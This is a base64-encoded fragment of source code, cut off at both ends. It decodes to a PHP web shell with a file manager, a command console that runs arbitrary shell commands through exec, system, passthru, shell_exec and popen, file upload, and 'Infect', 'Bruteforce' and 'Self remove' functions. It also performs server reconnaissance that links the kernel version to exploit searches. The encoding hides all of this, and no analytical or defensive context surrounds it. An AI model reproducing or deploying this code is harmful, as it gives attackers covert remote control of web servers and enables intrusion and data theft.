ChoMykrYjY0LmNoYXJBdChoNCk7fXdoaWxlKGk8ZGF0YS5sZW5ndGgpO2VuYz10bXBfYXJyLmpvaW4oJycpO3N3aXRjaCAoZGF0YS5sZW5ndGglMyl7Y2FzZSAxOmVuYz1lbmMuc2xpY2UoMCwtMikrJz09JzticmVhaztjYXNlIDI6ZW5jPWVuYy5zbGljZSgwLC0xKSsnPSc7YnJlYWs7fXJldHVybiBlbmM7fQ0KCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOw0KCQlpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOw0KCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87DQoJCWlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsNCgkJaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOw0KCQlkLm1mLmEudmFsdWUgPSBlbmNyeXB0KGQubWYuYS52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KCQlkLm1mLmMudmFsdWUgPSBlbmNyeXB0KGQubWYuYy52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KCQlkLm1mLnAxLnZhbHVlID0gZW5jcnlwdChkLm1mLnAxLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXS4iJyk7DQoJCWQubWYucDIudmFsdWUgPSBlbmNyeXB0KGQubWYucDIudmFsdWUsJyIuJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsNCgkJZC5tZi5wMy52YWx1ZSA9IGVuY3J5cHQoZC5tZi5wMy52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOw0KCX0NCglmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCWQubWYuc3VibWl0KCk7DQoJfQ0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOw0KCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsNCgkJc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7DQoJfQ0KCWZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7DQoJCWlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpDQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCgkJZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpDQoJCQlyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsNCiAgICAgICAgaWYgKHJlcSkgew0KICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7DQogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7DQogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsNCiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7DQogICAgICAgIH0NCgl9DQoJZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsNCgkJaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApDQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgew0KCQkJCXZhciByZWcgPSBuZXcgUmVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCgkJCQl2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOw0KCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsNCgkJCX0gZWxzZSBhbGVydCgnUmVxdWVzdCBlcnJvciEnKTsNCgl9DQo8L3NjcmlwdD4NCjxoZWFkPjxib2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO2JhY2tncm91bmQtY29sb3I6cmdiYSg5NSwgMTEwLCAxMzAsIDAuMyk7d2lkdGg6MTAwJTt0b3A6MDtsZWZ0OjA7Jz4NCjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pg0KPC9mb3JtPiI7DQoJJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQoJJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsNCgkkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsNCgkka2VybmVsID0gQHBocF91bmFtZSgncycpOw0KCSRleHBsaW5rID0gJ2h0dHA6Ly9udWxscmVmZXIuY29tLz9odHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KCQkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsNCgkJJHVpZCA9ICR1aWRbJ3VpZCddOw0KCQkkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQoJCSRnaWQgPSAkZ2lkWydnaWQnXTsNCgl9DQoJJGN3ZF9saW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsNCgkkb3B0X2NoYXJzZXRzID0gJyc7DQoJZm9yZWFjaCgkY2hhcnNldHMgYXMgJOKWnykNCgkJJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4k4pafLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0k4pafPydzZWxlY3RlZCc6JycpLic+Jy4k4pafLic8L29wdGlvbj4nOw0KCSRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdJbmZlY3QnPT4nSW5mZWN0JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTsNCglpZighZW1wdHkoJEdMT0JBTFNbJ+KWmyddKSkNCgkkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsNCgkkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsNCgkkbWVudSA9ICcnOw0KCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpDQoJCSRtZW51IC49ICc8dGg+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsNCgkkZHJpdmVzID0gIiI7DQoJaWYgKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7DQoJCWZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKQ0KCQlpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQoJfQ0KCS8qICjQoSkgMDguMjAxNSBkbWtjdiAqLw0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nPGJyPkRyaXZlczonOicnKS4nPC9zcGFuPjwvdGQ+Jy4NCgkJICc8dGQ+PG5vYnI+Jy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgPGEgaHJlZj0iaHR0cHM6Ly9udWxscmVmZXIuY29tLz9odHRwczovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPScudXJsZW5jb2RlKEBwaHBfdW5hbWUoKSkuJyIgdGFyZ2V0PSJfYmxhbmsiPlsgR29vZ2xlIF08L2E+IDxhIGhyZWY9IicuJGV4cGxpbmsuJyIgdGFyZ2V0PV9ibGFuaz5bIEV4cGxvaXQtREIgXTwvYT48L25vYnI+PGJyPicuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnLiRnaWQuJyAoICcgLiRncm91cC4gJyApPGJyPicuQHBocHZlcnNpb24oKS4nIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9I2ExMDcwNT5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0jZjljNDQwPjxiPk9GRjwvYj48L2ZvbnQ+JykuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsbnVsbCxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnKS4nPGJyPicudmlld1NpemUoJHRvdGFsU3BhY2UpLicgPHNwYW4+RnJlZTo8L3NwYW4+ICcudmlld1NpemUoJGZyZWVTcGFjZSkuJyAoJy5yb3VuZCgxMDAvKCR0b3RhbFNwYWNlLyRmcmVlU3BhY2UpLDIpLiclKTxicj4nLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nLiRkcml2ZXMuJzwvdGQ+Jy4NCgkJICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48bGFiZWw+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPicuJG9wdF9jaGFyc2V0cy4nPC9zZWxlY3Q+PC9sYWJlbD48YnI+PHNwYW4+U2VydmVyIElQOjwvc3Bhbj48YnI+Jy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jy4NCgkJICc8dGFibGUgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzBkNTJiZjsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU+PGRpdj4nOw0KfQ0KZnVuY3Rpb24gaGFyZEZvb3RlcigpIHsNCgkkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9JyNmOWM0NDAnPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiIDxmb250IGNvbG9yPSNhMTA3MDU+KE5vdCB3cml0YWJsZSk8L2ZvbnQ+IjsNCiAgICBlY2hvICINCjwvZGl2Pg0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+DQoJPHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc01hbicpPyAiZyhudWxsLHRoaXMuYy52YWx1ZSwnJyk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiIi4oZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc1Rvb2xzJyk/ICJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZiByZXF1aXJlZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIuKCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJyk/ICJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiIi4oIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmlsZXNUb29scycpPyAiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpOyI6JycgKS4icmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWYgcmVxdWlyZWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25Db25zb2xlJyk/ICJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyAiLiggKCFmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJykpPyAiIG9uc3VibWl0PVwicmV0dXJuIGZhbHNlO1wiICI6JycgKS4iRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgdmFsdWU9Jyc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPg0KCQk8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWZbXSAgbXVsdGlwbGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48YnIgID48L3RkPg0KCTwvdHI+PC90YWJsZT48L2Rpdj4NCgk8IS0tIHBhcnRpY2xlcyAtLT4gPGRpdiBpZD0ncGFydGljbGVzLWpzJz48L2Rpdj48c2NyaXB0IHNyYz0naHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L3BhcnRpY2xlcy5qcy8yLjAuMC9wYXJ0aWNsZXMubWluLmpzJz48L3NjcmlwdD4NCgk8c2NyaXB0PnBhcnRpY2xlc0pTKCdwYXJ0aWNsZXMtanMnLCB7J3BhcnRpY2xlcyc6eydudW1iZXInOnsndmFsdWUnOjgwLCdkZW5zaXR5Jzp7J2VuYWJsZSc6dHJ1ZSwndmFsdWVfYXJlYSc6ODAwfX0sJ2NvbG9yJzp7J3ZhbHVlJzonI2ZmZmZmZid9LCdzaGFwZSc6eyd0eXBlJzondHJpYW5nbGUnLCdzdHJva2UnOnsnd2lkdGgnOjAsJ2NvbG9yJzonIzAwMDAwMCd9LCdwb2x5Z29uJzp7J25iX3NpZGVzJzo1fSwnaW1hZ2UnOnsnc3JjJzonaW1nL2dpdGh1Yi5zdmcnLCd3aWR0aCc6MTAwLCdoZWlnaHQnOjEwMH19LCdvcGFjaXR5Jzp7J3ZhbHVlJzowLjUsJ3JhbmRvbSc6dHJ1ZSwnYW5pbSc6eydlbmFibGUnOmZhbHNlLCdzcGVlZCc6MSwnb3BhY2l0eV9taW4nOjAuMSwnc3luYyc6ZmFsc2V9fSwnc2l6ZSc6eyd2YWx1ZSc6MywncmFuZG9tJzp0cnVlLCdhbmltJzp7J2VuYWJsZSc6ZmFsc2UsJ3NwZWVkJzo0MCwnc2l6ZV9taW4nOjAuMSwnc3luYyc6ZmFsc2V9fSwnbGluZV9saW5rZWQnOnsnZW5hYmxlJzp0cnVlLCdkaXN0YW5jZSc6MjAwLCdjb2xvcic6JyNmZmZmZmYnLCdvcGFjaXR5JzowLjQsJ3dpZHRoJzoxfSwnbW92ZSc6eydlbmFibGUnOnRydWUsJ3NwZWVkJzoxLCdkaXJlY3Rpb24nOidub25lJywncmFuZG9tJzp0cnVlLCdzdHJhaWdodCc6ZmFsc2UsJ291dF9tb2RlJzonb3V0JywnYm91bmNlJzpmYWxzZSwnYXR0cmFjdCc6eydlbmFibGUnOmZhbHNlLCdyb3RhdGVYJzoxMDAwMCwncm90YXRlWSc6MTAwMDB9fX0sJ2ludGVyYWN0aXZpdHknOnsnZGV0ZWN0X29uJzonY2FudmFzJywnZXZlbnRzJzp7J29uaG92ZXInOnsnZW5hYmxlJzp0cnVlLCdtb2RlJzonZ3JhYid9LCdvbmNsaWNrJzp7J2VuYWJsZSc6dHJ1ZSwnbW9kZSc6J3JlcHVsc2UnfSwncmVzaXplJzp0cnVlfSwnbW9kZXMnOnsnZ3JhYic6eydkaXN0YW5jZSc6MjAwLCdsaW5lX2xpbmtlZCc6eydvcGFjaXR5JzowLjV9fSwnYnViYmxlJzp7J3BhcnRpY2xlc19uYic6Mn19fSwncmV0aW5hX2RldGVjdCc6dHJ1ZX0pOzwvc2NyaXB0Pg0KCTwvYm9keT48L2h0bWw+IjsNCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQpmdW5jdGlvbiBleCgkaW4pIHsNCgkk4paWID0gJyc7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCUBleGVjKCRpbiwk4paWKTsNCgkJJOKWliA9IEBqb2luKCJcbiIsJOKWlik7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJGluKTsNCgkJJOKWliA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJGluKTsNCgkJJOKWliA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkk4paWID0gc2hlbGxfZXhlYygkaW4pOw0KCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCgkJJOKWliA9ICIiOw0KCQl3aGlsZSghQGZlb2YoJGYpKQ0KCQkJJOKWliAuPSBmcmVhZCgkZiwxMDI0KTsNCgkJcGNsb3NlKCRmKTsNCgl9ZWxzZSByZXR1cm4gIuKGsyBVbmFibGUgdG8gZXhlY3V0ZSBjb21tYW5kXG4iOw0KCXJldHVybiAoJOKWlj09Jyc/IuKGsyBRdWVyeSBkaWQgbm90IHJldHVybiBhbnl0aGluZ1xuIjok4paWKTsNCn0NCmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7DQoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KCWVsc2VpZigkcyA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KCWVsc2UNCgkJcmV0dXJuICRzIC4gJyBCJzsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsNCglpZiAoIUBpc19yZWFkYWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsNCgllbHNlDQoJCXJldHVybiAnPGZvbnQgY29sb3I9I2Y5YzQ0MD48Yj4nLnB